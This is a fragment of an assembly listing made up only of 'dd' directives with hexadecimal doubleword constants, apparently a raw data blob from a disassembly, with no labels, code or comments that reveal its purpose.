		dd 905A1BFCh, 3804D106h, 0DF35A3B3h, 0EAEA7CE4h, 4D273868h
		dd 0E1659E12h, 0E108042Ch, 86786990h, 3770C7C1h, 7008ED14h
		dd 7762CBC5h, 3E24544Ch, 21FE1215h, 0C030053h, 2EB9656Eh
		dd 1E52CE0h, 0EEB9EA4h,	93FE70EDh, 8ECEDA00h, 1F5BAD83h
		dd 0CF8A0B46h, 544447EBh, 0DC1FFF4Eh, 2B03AB90h, 0A74F3F95h
		dd 8C0C382h, 730915BDh,	0ECA690F0h, 127472F8h, 0B0CC53DFh
		dd 2F40D0D0h, 51397012h, 302B1496h, 0A404B36Ch,	8B9CF700h
		dd 0D36168BEh, 148BC75h, 0F0DD7CFEh, 50286710h,	0F6741644h
		dd 0EB65309h, 3C3C04D6h, 0A47ECE04h, 4E241290h,	1127E442h
		dd 0FD085A60h, 4A28490h, 0C8068C48h, 81F53A06h,	2EB17246h
		dd 0AC7CF86Eh, 0A3660551h, 4864F09Ch, 6E087E0Bh, 0CAF0C039h
		dd 0CA29570h, 0C80BD98Ah, 8225759Ch, 50B03C44h,	0D5F9DE00h
		dd 7DE49C90h, 5932038Ch, 0C965BF57h, 445C0892h,	0AD584500h
		dd 90BE5E16h, 0FEB70144h, 26041BBFh, 0E612CCD7h, 8E4777Ah
		dd 6E45F715h, 0B5DE84B4h, 41DC58B4h, 91CCC497h,	0CCB60DF0h
		dd 6F472C01h, 18644629h, 5AD27965h, 49C467DCh, 0B6585C52h
		dd 4BEA8428h, 5D84CCB8h, 0A1024080h, 1ED0E75Ch,	80594569h
		dd 78658374h, 67165010h, 8A018C02h, 249789D5h, 0F0986CE0h
		dd 0ED7409CDh, 68988A82h, 2125456h, 35094266h, 7830E645h
		dd 0B16B00F1h, 0BADE3CEBh, 0B600DF23h, 0C139E75Dh, 4ABB96CCh
		dd 7F0480A6h, 35F488D6h, 1CD0FE12h, 88902874h, 5C7CF7A2h
		dd 9018C882h, 3A46084Ah, 3BE80709h, 6C8C80DAh, 304350DBh
		dd 9B5860C6h, 0BF005BD9h, 15C0E59Dh, 0A21B96C2h, 0C5A8689Ah
		dd 3FD31969h, 68A614C3h, 17F4578Ch, 880BC27Bh, 0F068D0FEh
		dd 2C89892h, 0C679D2E7h, 80D0D7DAh, 0F8A269F6h,	56170059h
		dd 1D00F0h, 2BB10F1Ch, 0D619729Eh, 0C5EA2504h, 18E88B08h
		dd 0BABAB61Fh, 6126E4D2h, 0F0996434h, 0B95BFEACh, 0EC03F00Bh
		dd 3A689148h, 127E2491h, 1022C3FBh, 0D248633Fh,	0C4904BEFh
		dd 0BFE250A0h, 65FD1480h, 0ED17196Dh, 283442DBh, 0E53DC8F3h
		dd 0D1830F13h, 93F7F2A0h, 0EC1FC169h, 0AE6E7B03h, 40405C60h
		dd 50582C78h, 4EBD80ACh, 7E59799Dh, 0AD7B9000h,	0A95E170Fh
		dd 261C914Dh, 85EC1388h, 5C4CCBD0h, 4C104A38h, 0F84B8C70h
		dd 0FA17784h, 0DB2211E6h, 25A63080h, 6E0B01CFh,	0C8FEE499h
		dd 16C939B8h, 446A65EBh, 0B821C528h, 0A3FF50D8h, 28C76E1Ah
		dd 91071B8h, 0AC01F37Bh, 81ADB8D3h, 0C9B94778h,	133A27DAh
		dd 2EB00274h, 8098FEB1h, 0CA8020B4h, 9CAB5090h,	0C84F2085h
		dd 0A1686C00h, 1A6DF453h, 82C9804Eh, 5E7B02F6h,	0BC14E25Ah
		dd 20F847A4h, 43A075FCh, 1682121h, 0AE5E72DBh, 63E460F9h
		dd 1118F760h, 331C6723h, 0B88A1B5h, 0BFBA5007h,	0B80C346Eh
		dd 7D92582Fh, 75DAA50Bh, 1B006CF0h, 512B5DFh, 1D1C3FC5h
		dd 57AD16h, 9A7D4F11h, 0C802DF70h, 666E191Bh, 84F8AA46h
		dd 0C4571562h, 0CE9D0528h, 0A16C3A1Ch, 0F45CC6A4h, 0C44F6F8Bh
		dd 0B24EF038h, 0E35A54h, 412F118h, 0E2030AB6h, 68351DAh
		dd 90EBBF6Eh, 0EE6A168h, 0BB743233h, 8813D0A0h,	461675C1h
		dd 0B700C9AFh, 0F68CE095h, 0D55C0045h, 0D3814340h, 90A8FED8h
		dd 8D123BEDh, 0B4560C23h, 0E835CC5h, 35C03BF5h,	0E861F9ADh
		dd 147C701Eh, 3C243CB0h, 202806Eh, 0D9B2D5DFh, 182B2DA0h
		dd 4C51DC62h, 6E6C814Bh, 212B19E0h, 63DD0170h, 71C01258h
		dd 3C24B002h, 0EB886018h, 3693A9Eh, 0DAB8DC09h,	41C35C18h
		dd 484C3C96h, 0DF9D07CCh, 490803DEh, 0C5008029h, 5B7A65A5h
		dd 303CB8C0h, 1D8740DDh, 0AF57D378h, 3D6EE801h,	0DA602424h
		dd 0C94A54Dh, 0C06150E7h, 2D9D246Dh, 8BD3E194h,	3828ACAEh
		dd 0AF6B540Fh, 0B7012386h, 1679E099h, 40849636h, 0E3FE8893h
		dd 0B8B0266Eh, 5B9AEDA0h, 3C60205Ch, 130011DFh,	7DE8D083h
		dd 9991A74h, 885DCD89h,	0E36C8755h, 34A400CBh, 3C53A490h
		dd 0FD077E63h, 40C8E775h, 57C61674h, 2065E40Ch,	1439C086h
		dd 0D814045Eh, 8C77DECFh, 43265DC0h, 0C953A8ECh, 222EE38Ch
		dd 0E8901D24h, 5000D5E5h, 0A6561CF7h, 2F555E80h, 0A494C5DAh
		dd 49EEFC20h, 932970E6h, 748808F8h, 9F3C3305h, 0BB0138C1h
		dd 43FB5E10h, 820BA57Fh, 9E7FE87h, 3CE4707Dh, 1C5D6E1Bh
		dd 49149D2Eh, 0E6102C78h, 287902C0h, 50588B7Eh,	2901B8E3h
		dd 80C036E4h, 90925F5Bh
		dd 0BC625E03h, 0E09610C1h, 2E7F0218h, 324F59Bh,	4D82757h
		dd 663951E0h, 58FE9130h, 0B87A14C7h, 0B8EF6132h, 6280DB6Dh
		dd 11444004h, 2BAF6E10h, 7162CE3Ch, 4624650h, 879FF471h
		dd 1827D20Dh, 9016C021h, 0FC8C20F0h, 0AAE7CE01h, 2CA6726h
		dd 8C24DDD1h, 0D0BE4EE5h, 235B11F4h, 8476D325h,	90D18488h
		dd 0E0301AFCh, 4EC5251Bh, 364CF466h, 0DF1B0BCh,	1185055Ah
		dd 0C75FB032h, 0F0D0E317h, 375E8FA0h, 75DCD24Dh, 47B5E600h
		dd 7D4886C8h, 0BB8C007Eh, 25D742F7h, 460103A1h,	0D9FAEA60h
		dd 4C59AC9h, 95373C34h,	3404FC0Bh, 3E88A680h, 5E418E89h
		dd 0C9C84975h, 0C2C0CDB8h, 2EFF25C9h, 2A2D6C44h, 3D7C0059h
		dd 0EE95FDEAh, 0CBE5C02h, 7DACE0D3h, 0F2C2C741h, 965C0308h
		dd 4D9DBD2Dh, 0CAF5C9C3h, 0B1D3098Ch, 862827A4h, 0C1E62BA2h
		dd 24F863D1h, 5892C6h, 0A7B98221h, 0CB68C2ADh, 3BD0E501h
		dd 468FAA0Ah, 0F5E25EF4h, 16E35080h, 0F646D45h,	0CBFF3600h
		dd 0DE5E9046h, 3440BCB6h, 735C0840h, 69972A0Ch,	64CA860h
		dd 43F094ADh, 0ABE867FBh, 9CB6DA8Dh, 4808BF14h,	133E7E44h
		dd 4A4EFF64h, 71E758A0h, 4D58C9B4h, 987AAC09h, 66D1BD13h
		dd 7D1CC8B4h, 0E627436h, 0D325DF06h, 861E6D02h,	5E18C06Ch
		dd 0ECC0D679h, 8D6906E6h, 0BE37E4C8h, 0C0F44CABh, 0F096CE3Ch
		dd 2861BA00h, 0E3CF8BFEh, 5C852865h, 0F04061E0h, 0D831901Bh
		dd 0D760A4E7h, 3A5D9BA1h, 48DF7C12h, 9C011842h,	33771C8Bh
		dd 14042E69h, 1EFC666h,	814184A4h, 67B04325h, 859D04E1h
		dd 803D4B48h, 27D348E0h, 0DC8B96F6h, 0ED3524EEh, 54801160h
		dd 60106E66h, 91CF1054h, 7CBADF67h, 0A15E300Ch,	3C02E0EBh
		dd 0BB2C9868h, 0C1FB808Ch, 0BA10CE9Ch, 2831AE3Ch, 3050869h
		dd 0B4D2DAB2h, 5413B402h, 0B998CE63h, 3CEC0B8Ch, 0F76D9468h
		dd 924944Dh, 583165EEh,	84D55CE8h, 7833B022h, 78ADD85Dh
		dd 0A45825BEh, 0B0F090C4h, 0B67421C0h, 5357AC5Eh, 184C34C8h
		dd 0C4E8EB08h, 4FB8A114h, 0C08C4835h, 0AE5D1D9Ah, 5391D7B1h
		dd 500C18FCh, 6E388A93h, 14314A9Bh, 0E43D354Ch,	9C44CA27h
		dd 0D8E1E088h, 0C1F8139Fh, 0C205AD4h, 9CE45937h, 24C36D0Bh
		dd 25764880h, 1C7461EDh, 0C938E2B5h, 0FC437A54h, 70F82A0Bh
		dd 889A00F0h, 0FDE97C91h, 0C67C19D5h, 35A4D317h, 0D437B0C2h
		dd 577CC3E0h, 0D0467830h, 6312E4h, 73CA39E7h, 4A90E23Ah
		dd 3389FB03h, 0B70AECh,	0BA6CC111h, 5CC63DB4h, 5D4C01B7h
		dd 60335BEBh, 0FD259059h, 0AB584B8h, 0A6812494h, 2FCCE8Dh
		dd 94400C3Ch, 0D4C459B2h, 280EFA18h, 0CD1D9DBBh, 948E02A5h
		dd 0D54DC012h, 4DDDDF5Dh, 0FE3CB08Dh, 0C858300Bh, 0FD027073h
		dd 71E7AEDEh, 81123C3Ch, 101CE37Fh, 8B0F1DFBh, 0BF0B6E87h
		dd 46FE4085h, 119D5BE4h, 3265D312h, 6231BC43h, 72DEB0BFh
		dd 0A7021637h, 7CDF00A4h, 0FFAD7E9Ah, 0C3EBA82Eh, 0DB928F05h
		dd 3420DCE5h, 0A59A1E03h, 5B42679h, 80203B15h, 0A368CB4Ch
		dd 7DF52B03h, 0B84DAB96h, 0BC3D5DA8h, 6C0202B4h, 20E09EECh
		dd 4D80CEE3h, 176112A4h, 942CF2FEh, 5CC82274h, 0F01944Dh
		dd 35EB284Eh, 0C51980ACh, 0FED5B36Dh, 0CEBCA8CFh, 0DEFB2CDAh
		dd 888C9704h, 795CFEB8h, 0DB0400CCh, 668D68CDh,	88D261FAh
		dd 2BD341B5h, 48AE5092h, 0D6D5C8C8h, 0DAF40211h, 54426D4Fh
		dd 8B860C0h, 74DD0345h,	0ADD034h, 0FEED8F56h, 0D9028316h
		dd 0D7AA6212h, 5A48F8B0h, 0B59C42DCh, 4C609DBAh, 68BA1110h
		dd 36502804h, 0C0E2D2B9h, 0C8C2E785h, 9FF866ACh, 0D3102195h
		dd 4824A2A1h, 0FF88FE8Ch, 44904F2Fh, 0C6900012h, 29C3FB53h
		dd 23D9413h, 30AAF80Fh,	4B65E709h, 4C0704F0h, 0D202E94Fh
		dd 0B2E2F870h, 98504C5Dh, 50C4C450h, 11805Fh, 0BD866722h
		dd 0A6292E9Eh, 7B7AAC7Ch, 499A0200h, 0C2C01D05h, 79BF0766h
		dd 30E5CE77h, 555A7887h, 677E3100h, 1716F0FDh, 0D920205Eh
		dd 6CA6D49Ch, 1513DD10h, 3B80C039h, 6509A0FEh, 5181A59Dh
		dd 200C2028h, 0BEA442h,	9A9B1889h, 0ED84C50h, 0F9E7C0E5h
		dd 79F8887Bh, 0F10907BCh, 0A02DDACCh, 6272BEC0h, 0BBA132FBh
		dd 0AC601A24h, 21FCC228h, 6E697B04h, 41BF1738h,	9E596800h
		dd 3338201Bh, 5E65C512h, 71012C49h, 0C212B908h,	411453A6h
		dd 0DF7F0BFCh, 0C7BC8D6h, 90BE7CB0h, 4AA0B342h,	0EF987EBCh
		dd 20C80036h, 0E45DA3C3h, 13DD4BCh, 0D351D66Dh,	0D440601Ch
		dd 90427265h, 43089400h, 0CCE1C29Dh, 5DE6E005h,	0F49F5327h
		dd 0F2840748h, 0E9B40F7h, 0F81F7AB3h, 220CDD29h, 0F258C85Dh
		dd 17D70030h, 0F34BAA67h, 80E44E52h, 565FEA00h,	12BADC9Ch
		dd 0A8880160h, 0CAE77186h, 1A0C4EEh, 9CF89Fh, 0F915545Dh
		dd 0E09CB29Eh, 84B2F28h, 37273598h, 9D20FCE2h, 7AB5039Bh
		dd 880062EDh, 0A5664BF7h, 61C34DBFh, 3CC550B3h,	1330801Ah
		dd 0BD63EA88h, 664131BFh, 0BE3A3908h, 37516090h, 0CBD413C6h
		dd 0B88011F0h, 0CEF41FDEh, 5033B530h, 1D03865Ch, 0CEAC516h
		dd 0CEB82CC0h, 20CAE130h, 0C926FD3h, 2E54C6BCh,	9F001B78h
		dd 811A3309h, 0DF95A367h, 0F0790F28h, 5056B879h, 0AE199F68h
		dd 0B511E400h, 0EC011A9Ah, 0BF6E06EDh, 3043237Ah, 0C6B09C06h
		dd 148E75Ah, 35A7CCEFh,	0FDCEEEE3h, 5F608025h, 96C9F7Eh
		dd 498418B5h, 75D2A90Ah, 0EE59A00h, 453BFA8Ch, 234F03E9h
		dd 0D8C4EF49h, 0E8F77AC8h, 0B70090DDh, 0CF37B501h, 58326216h
		dd 0A081AD63h, 9FC2EF45h, 9C01980h, 3AF27766h, 0CEB7039Ah
		dd 59E741E4h, 0D16C0295h, 786384EFh, 0E9719AC0h, 6EEBB404h
		dd 308896BDh, 17A4A11Eh, 1A399840h, 1831E8A7h, 0F85D617Ah
		dd 5E00C592h, 7C3BA580h, 0C366F208h, 0E947B1E0h, 9EC0F4DBh
		dd 0F171FDA7h, 86B47918h, 14CFCC38h, 0B417A3C6h, 9D70373h
		dd 3ABFB568h, 0E9A005C3h, 0F7614AC5h, 0A26780D1h, 497AD44Ch
		dd 3C1880E4h, 0C969C0C1h, 2249501h, 0CF944801h,	0BC108271h
		dd 50DC9F55h, 7C7480BCh, 7191052h, 0C0813ED4h, 3EF7E212h
		dd 38F4B203h, 1112FA24h, 6E442087h, 8414B4E1h, 1DC35E3h
		dd 0A4EECB16h, 0E1F73BD7h, 188367ACh, 367C5E43h, 0EBDDB412h
		dd 0EE2E00EFh, 2653DE0Fh, 5F58EA64h, 12300025h,	0E4060186h
		dd 84CEC50Ch, 31B8A3h, 8E2C714Eh, 0C4DB1C9Ah, 1640E207h
		dd 0E594565Eh, 0D4C39200h, 0CB795C6Eh, 0C059E600h, 66A3A0E8h
		dd 0CDB700A2h, 9091F216h, 8A0CA67h, 8091CF1Bh, 0F454E1C0h
		dd 0CDD00252h, 0B3E4C62Eh, 9BFC0A0h, 0CCA19560h, 9D02639h
		dd 22ABCA4Dh, 33E30ECh,	3040AF1Bh, 0CC0066BCh, 0EF9BAD31h
		dd 17193B1h, 6EEEB519h,	415E12C0h, 40A06624h, 5A9AE344h
		dd 0F6280178h, 0F709BC74h, 2C2204CEh, 90708878h, 0F29A3884h
		dd 38842C05h, 0A1E401C0h, 0C8890B69h, 6700545Eh, 0C4A5B2CEh
		dd 18EC38BFh, 70DFD01Ch, 0A73644E5h, 0A4B0E1FFh, 58674C3Ch
		dd 95A16805h, 1BD80A2Ah, 1A430980h, 52C68401h, 0C4388999h
		dd 0F78C03B7h, 79881326h, 1C7C4E0Ch, 0E1E4F960h, 8905DE0Dh
		dd 12012226h, 9E68FC30h, 3988F795h, 0F51F0C7Ch,	1C92C601h
		dd 0A980E1D2h, 0CEBFCD65h, 10C0B517h, 0B0EE2C99h, 92D60B3Ah
		dd 0C400D4BBh, 87EC3CABh, 0F19E61E7h, 8445C494h, 4C7CE424h
		dd 0F72E4B03h, 0A336A3F9h, 3233C3F0h, 0E89912B8h, 0E73B802Fh
		dd 0C1682184h, 5EC64438h
		dd 47EC4036h, 0D5380E01h, 76CE8BECh, 551024A0h,	0C11C18C8h
		dd 4D0DCB50h, 988EDA03h, 38A7E8E1h, 66DC4106h, 30E423C9h
		dd 70F479BAh, 1EB400F9h, 6991E1AAh, 5713603Fh, 0BC016C9Dh
		dd 0F7010A26h, 82190FDh, 48368020h, 2E0C8473h, 9C819D4Ah
		dd 24ACB360h, 600EC6CBh, 8511B813h, 0E73F5894h,	7AB605FEh
		dd 0B8003F6Dh, 0C173D01Bh, 0ECF2670h, 7D5E8AC4h, 5241368h
		dd 90167AF8h, 0E3CF5CACh, 9D55E203h, 0EAD86EB4h, 0F1BCC1AEh
		dd 5EC8318Bh, 401ED019h, 9C719E4h, 917C9A50h, 94718526h
		dd 0C26EF004h, 9966A898h, 38179874h, 0AF671839h, 351F7A08h
		dd 10AA24B4h, 8450214Eh, 0D84014DEh, 99FA9Eh, 0AA94F98Ah
		dd 0C1F0D4A4h, 5E3F6312h, 65F6ED00h, 0F0A69C96h, 8408A07Ah
		dd 50F569DFh, 0DC0574A9h, 134409A1h, 0C5658482h, 0C7704440h
		dd 92183A80h, 21146A80h, 96360C9Ch, 3F0BE0AEh, 2021447Ah
		dd 0F938C390h, 102C6413h, 48AC8224h, 84186464h,	0A6C02B6Fh
		dd 40975CC6h, 833FA800h, 0F66A0E39h, 0EAAC6E01h, 6A6A3F1h
		dd 2EC664F0h, 0A10CCF03h, 0D0CE84A0h, 1C4204C0h, 1A2D4080h
		dd 664E127Bh, 0AA85605h, 4EA0A234h, 6D048E81h, 0FE2DF0ECh
		dd 9CA7BB01h, 8095C6CDh, 1CE96083h, 3BE024D5h, 7A1832F7h
		dd 0C8C9077Ch, 803D72C6h, 0A4B065B9h, 0A4A064A4h, 188141BAh
		dd 284B6434h, 20A49D68h, 0A898B544h, 0C0DD9330h, 0A06840F5h
		dd 146638B4h, 54A91C74h, 2C52C458h, 1C74222Ch, 0C6A787EDh
		dd 9E676094h, 4B00CF8Eh, 0D9CD825Eh, 4963C243h,	3448A0E5h
		dd 2B401326h, 0C834A4D8h, 9A4B008Ch, 0B6CEF6C7h, 66D08150h
		dd 0A6036E11h, 50096476h, 54DB23EAh, 87F81CB0h,	0CE70EC2Ch
		dd 280C6034h, 54F07A36h, 0F007A8A2h, 0EEDBC008h, 0D7403144h
		dd 1349019h, 0BBBD3E98h, 70661224h, 0F0099BEh, 0AF63C867h
		dd 3C87F0F6h, 9230696Eh, 0E4D49848h, 88C6321Eh,	84E00CA0h
		dd 99C80C41h, 0DB43E603h, 0C1E9C015h, 0A47168BEh, 19946008h
		dd 1148CEA4h, 56749937h, 0C04526A8h, 1650CC83h,	1170F310h
		dd 7909FC6Ch, 10286507h, 22F813BCh, 68C9EF50h, 94A0431Ch
		dd 0AC1B692Eh, 0C2CC5E14h, 0E6ECB803h, 4DF0003Ch, 4E1AA540h
		dd 882E623Ah, 731D042Bh, 8E96EB8Bh, 0E9978010h,	0A79661Fh
		dd 7287CEF8h, 290A01E0h, 60EC7CB9h, 5746EF0h, 0A666E800h
		dd 0E0F3F99Eh, 0ED840751h, 0A0C5525Dh, 0AD9CFB31h, 1EEA3600h
		dd 6579DFA6h, 68E9C083h, 5C8495CCh, 48A45051h, 313E3C68h
		dd 12DB18F0h, 0C66618h,	5C97C545h, 9E3F68C2h, 5C4765Ch
		dd 571F7AB2h, 44AB9492h, 160F4040h, 0CE1F3090h,	77FC0111h
		dd 0A270DC40h, 0F67C4C9Ch, 10F94954h, 47F4E282h, 2B5E3CC0h
		dd 0D1F00600h, 0B4D5C066h, 10E84801h, 0A41850h,	1202A1E6h
		dd 0E0BFEC8Eh, 390F1C05h, 44989FB5h, 14042AF8h,	186C98E4h
		dd 100E4C7Ah, 1E728654h, 0AE1E0A7Fh, 0B6C06C88h, 6BA98C12h
		dd 0CF7A09E1h, 44A028A6h, 0B7EB013Eh, 4BF1021Eh, 80C2E28Eh
		dd 0DC1CF723h, 0E0C44866h, 0BD16CB08h, 8C698700h, 748B9243h
		dd 0B8961844h, 0CF731041h, 6C009E4Ah, 7728999Ah, 8DC20027h
		dd 0F563DE44h, 1C2EBC6Eh, 0CE42C0B7h, 65D0E990h, 669ED442h
		dd 57C7228h, 9CDCC344h,	0B98C4B0h, 0C8B1F408h, 0C6508517h
		dd 0A882378Fh, 84071F8h, 6609EAAAh, 8AFC19A4h, 96CD63ECh
		dd 0E0CE41ECh, 352080DFh, 0D0139392h, 24D1C01h,	49D3D7C6h
		dd 0BC8F23FCh, 0F613FEC8h, 3E13443h, 68692E3Dh,	6D840420h
		dd 0BF48D071h, 0A0B15D12h, 0AFC99F90h, 0AD062C68h, 41D17A14h
		dd 0E9A01AE0h, 0CCCC4931h, 0E8C382E3h, 80CB72F0h, 43025D11h
		dd 0CEE7100Dh, 94BCA063h, 0C28E4D1h, 715CBA3Eh,	0C7308440h
		dd 337B50F8h, 0CD824F9h, 794E631Ch, 20EF21D1h, 9A054A78h
		dd 0BCC64D5Bh, 791BA44Ch, 89D5520h, 2D1AE010h, 446B24F0h
		dd 813E9284h, 89536DCh,	25583079h, 0D09DEB70h, 30CDA400h
		dd 2484690Ah, 621A04A9h, 0E08D76CFh, 0FC9B5934h, 0CE04CCACh
		dd 5E12A414h, 0EBF30CE8h, 0F478C111h, 0C2EEC20h, 58627A3Bh
		dd 7EB0FA70h, 80B24870h, 64438909h, 50D04AC5h, 0F6E700C8h
		dd 84EC3C38h, 0DCA05F36h, 0E90A3135h, 0E4461C03h, 54139CA6h
		dd 97FC88h, 0F3F5AE8Fh,	0E4C85CDAh, 0EE7D5100h,	0D01C6BD3h
		dd 7BDB2EF1h, 6080396Ch, 0A0C20EA4h, 5D3B1986h,	0E6AD85E8h
		dd 8008758h, 0CEF5EEC5h, 881E4806h, 0E1DC0BDEh,	0C4401892h
		dd 0CA40EC45h, 6010C119h, 976E9F7Dh, 1C30F0D0h,	99D1BCC5h
		dd 0EAC68640h, 0D20910BEh, 9260F284h, 967CEE90h, 8FC26D0h
		dd 0FA07E72Bh, 0D04A25CEh, 777DC606h, 9B0B128h,	0BC0503E8h
		dd 249C8110h, 7BDD000Fh, 5FD1011Ch, 67E8FBC0h, 0C6067BDh
		dd 60C26279h, 0C4E600F6h, 86F73296h, 3776F897h,	74204E4Ah
		dd 16923AD0h, 1BC6406Bh, 0FC0187Dh, 0E300E10Ah,	9B1BD556h
		dd 638E6C0h, 0FDCEA3B5h, 989468C8h, 0C6370160h,	40A3616Ah
		dd 0A6EE08F8h, 19018461h, 0E6C63874h, 3EC2182h,	8E8E2CBh
		dd 580B4C8h, 26C496EDh,	58F053C8h, 3F0909D5h, 8B48E6B4h
		dd 843C23D8h, 0B81CF50Eh, 0C733E180h, 3B68DD18h, 0ECECEEDh
		dd 1BE710A8h, 5E91D2D1h, 20CC7061h, 0C0831F48h,	1F3DB6CAh
		dd 2492688Ch, 959D1064h, 36F0D898h, 0B79F30C6h,	3BFAE498h
		dd 0D04D5CF0h, 49B2401Ch, 0E7024501h, 4FB7AA7h,	26CEA064h
		dd 80C0DB7Fh, 1EEC6383h, 0BB00C495h, 9269637h, 39CD4AFh
		dd 0BE1C0AD5h, 80A420B7h, 0F8E53218h, 9A6B1096h, 29C717Ch
		dd 17AA7A39h, 391254E9h, 7043933Ch, 482884h, 0B8ED11F8h
		dd 0E2ECEA63h, 21CDE1F9h, 1C302044h, 0FB4F171Dh, 6B564040h
		dd 601584F7h, 0B06D381Bh, 2A60147Ah, 3ACD9C68h,	0F3400196h
		dd 0C584CA04h, 18203961h, 0B8B0E1BCh, 90390073h, 0DBB19995h
		dd 9A30845Ch, 54E498E7h, 4C3809ADh, 7C006436h, 0C1027A79h
		dd 0CEF9B8C1h, 0F8891D0Ah, 94A17044h, 966F9479h, 14122280h
		dd 34A3004h, 2DA52003h,	85B82CC1h, 8F453BD0h, 0BCED9C45h
		dd 0AC8A1EC7h, 0A7A3A05h, 74049852h, 2C051520h,	7C00A212h
		dd 18BB9930h, 2E01F608h, 0AC14F171h, 248E0890h,	30A79900h
		dd 7A665F44h, 0B11B03A8h, 5B0D7A34h, 9E522002h,	0A0C909C6h
		dd 1D6084E0h, 0CEEA0C73h, 9D60D4C4h, 0B8F07672h, 1086F4Ch
		dd 0CF89C243h, 5434BCBDh, 909F5492h, 0F1E34081h, 0BE34A305h
		dd 20C00186h, 2153D61h,	0C63AE991h, 3C68F1E4h, 0DEF03979h
		dd 50D4B959h, 6800D30Ch, 6A0EE122h, 80690284h, 8226C641h
		dd 9582448Ah, 60D3B7DDh, 3E1E2C4h, 50515354h, 602637A1h
		dd 0E9025009h, 81DB6484h, 0ADD4EB8h, 0CE822C2Ch, 7C442707h
		dd 0BA208400h, 0D0AC1CF4h, 4BF3260Dh, 48111B3Ch, 0C3496298h
		dd 0EEDE2702h, 53D71CD6h, 0C8833C90h, 5F1BF11h,	72A5BE0h
		dd 0A8F8377Ah, 3C635207h, 0F94CC6AEh, 0FE683AF8h, 0BC9EC858h
		dd 0C1953580h, 7A182DD3h, 803E7B2Dh, 0A7BF04FCh, 0BB1603C5h
		dd 68D624ECh, 9144DCBCh, 2E3E6203h, 24D4677Ah, 0D74F558h
		dd 42A18FAFh, 0BC4C362Ch, 209E6628h, 0DD3FF83Fh, 22398E10h
		dd 40E8A41Ch, 3F47F8F0h, 5C00C9A6h, 0DD11EF5Fh,	84F0C5E6h
		dd 787008A1h, 6B081024h, 6D454B00h, 0D571CEF6h,	7E322492h
		dd 324109Fh, 6CC17B5Fh,	78A868F1h, 35DE840h, 8557837Ch
		dd 5EE1EBDAh, 4018870Bh
		dd 8282CD90h, 3444416Ah, 143DA861h, 0EECC6E00h,	0E23CDE9Ch
		dd 0F490D8B4h, 0C0B2C4h, 0CD24E83Ah, 21584F5Eh,	6CE1AD8Ch
		dd 0C5A6C0FCh, 485984A1h, 0A70B20CEh, 0B80199BDh, 0F1CB9674h
		dd 668C209Eh, 0C781D200h, 601222B5h, 9147F27h, 6EFECEFDh
		dd 0FC609829h, 0F658DE45h, 4031C9D0h, 59B1C68Ch, 8600A822h
		dd 23E12E93h, 521665BEh, 8409984h, 0EDB3F86Fh, 11BF006Dh
		dd 8FDBE95Dh, 9F09679Ah, 83012194h, 8758CB38h, 80192583h
		dd 0CC823E3h, 0E49E535Dh, 0A8371B30h, 628038E0h, 3A40BEACh
		dd 74739467h, 32CF00A0h, 0CDB0DFF5h, 28C5E5F0h,	2000545Ch
		dd 1AFFE929h, 420807BEh, 41AD509Fh, 0E03EB7F8h,	0C5F8A619h
		dd 30726437h, 0DA4D7D80h, 0C448C2DCh, 0C00FD5F7h, 6CEA7857h
		dd 73CD18EFh, 0E32520F0h, 0E35548h, 0C7B5AF29h,	287D61h
		dd 599D5B5Dh, 0D81BF09Ch, 6ACBE001h, 7DADC53Ah,	14EA509Fh
		dd 43076CA9h, 0C0E5111Dh, 3008C618h, 0AA50B4B0h, 7C505C10h
		dd 47812368h, 0A99B0841h, 70CD8858h, 48C16310h,	6FE3BC0Fh
		dd 0D691B480h, 7B64418h, 7108AE69h, 3B833F2Ch, 92998F83h
		dd 7FC1680Dh, 6D7894F5h, 0F32050E0h, 438E703h, 0E485C5h
		dd 1C754978h, 0A58B62Ah, 7341A407h, 0B00CB0CEh,	49782Ch
		dd 59B47407h, 1CE64F89h, 0E9AB0E00h, 0ADAAAC1Bh, 22FB0181h
		dd 2ACE7187h, 993881A1h, 532AF83h, 4391D4h, 628B7F5Dh
		dd 0DF9BCD5Ah, 0BECC671Dh, 303028A4h, 1992B139h, 10E9CBCEh
		dd 0CDF8C45Bh, 5C80AA7Fh, 419E0C57h, 467896C1h,	314C950Fh
		dd 9506965Dh, 118BB14h,	0EEA4AE44h, 81B6DCC4h, 0CE5F18E0h
		dd 4881F264h, 89E1F2Fh,	0E8B4425Dh, 0F06F6448h,	6DEAB305h
		dd 0C82095BCh, 9013FB83h, 654C18C0h, 0A46440F7h, 9196BE02h
		dd 9CE3F79h, 0A5272C00h, 0E8247015h, 0C4C208B3h, 0A7B4AFDEh
		dd 50ECF183h, 56C30365h, 0F8352DF5h, 0AC3806C5h, 0A3302164h
		dd 0D6161992h, 0F6380E08h, 0F414116Dh, 1BB34710h, 2808CB66h
		dd 80D728h, 0DF918B79h,	34F988DDh, 13312D79h, 35F260DAh
		dd 0F8BE04D1h, 506784D4h, 40D5C4B4h, 7E095C15h,	0E22518h
		dd 0C4DBD648h, 5F4224BEh, 98CD1DC4h, 795C707Ch,	3E65532Eh
		dd 35AF2200h, 24B6D90h,	4D5DB836h, 989BA094h, 0C13BC5F8h
		dd 9010A8C0h, 12CAD79h,	0EECBE667h, 0BF667D83h,	11BA80F8h
		dd 8A306168h, 0CA6502FAh, 0D2E46E0Bh, 0F248B860h, 0A59F8B1Fh
		dd 0D31B9800h, 630777h,	1E7E5D2Dh, 0C31CA80Ah, 913AD500h
		dd 879D668Bh, 65413F8h,	0FF2B04EEh, 0F14C1C0h, 0E9F8889Ch
		dd 87DC00B4h, 0BDD40DF9h, 0AB7EF5FAh, 0E643C8F1h, 805E20CAh
		dd 9444A03h, 0BE32F3A8h, 0A0665018h, 94C82065h,	4430C8A4h
		dd 25781190h, 8FDC0631h, 18304C02h, 0B3E06D04h,	8902783h
		dd 93C7A5h, 10E3D05Bh, 0AB451385h, 2E2ACDF8h, 0B1C5A4FDh
		dd 0C0016641h, 3B9E7F5Fh, 48EEE849h, 801F48A8h,	5830792Eh
		dd 0D11B7847h, 8027E9E0h, 1D100992h, 0CA105C04h, 5E8309F0h
		dd 1824A4FAh, 145704C0h, 0E5A2006Bh, 0BC9BEFD3h, 0D2020209h
		dd 1378E4BFh, 246867BEh, 0CC62C484h, 0FFFE8368h, 5D3D18C0h
		dd 3EFD1782h, 6415CB61h, 3A8C9826h, 0D5066C29h,	0DC4CF4EBh
		dd 90035051h, 8C0906Eh,	9589CDEAh, 2242631Ch, 0E01BC5C2h
		dd 0EA4DDB76h, 0A5CB3C24h, 505FAB80h, 84DDCEAAh, 0C138319h
		dd 28203E70h, 72201228h, 8D3400A9h, 4F6F9B2h, 0E9835E0Dh
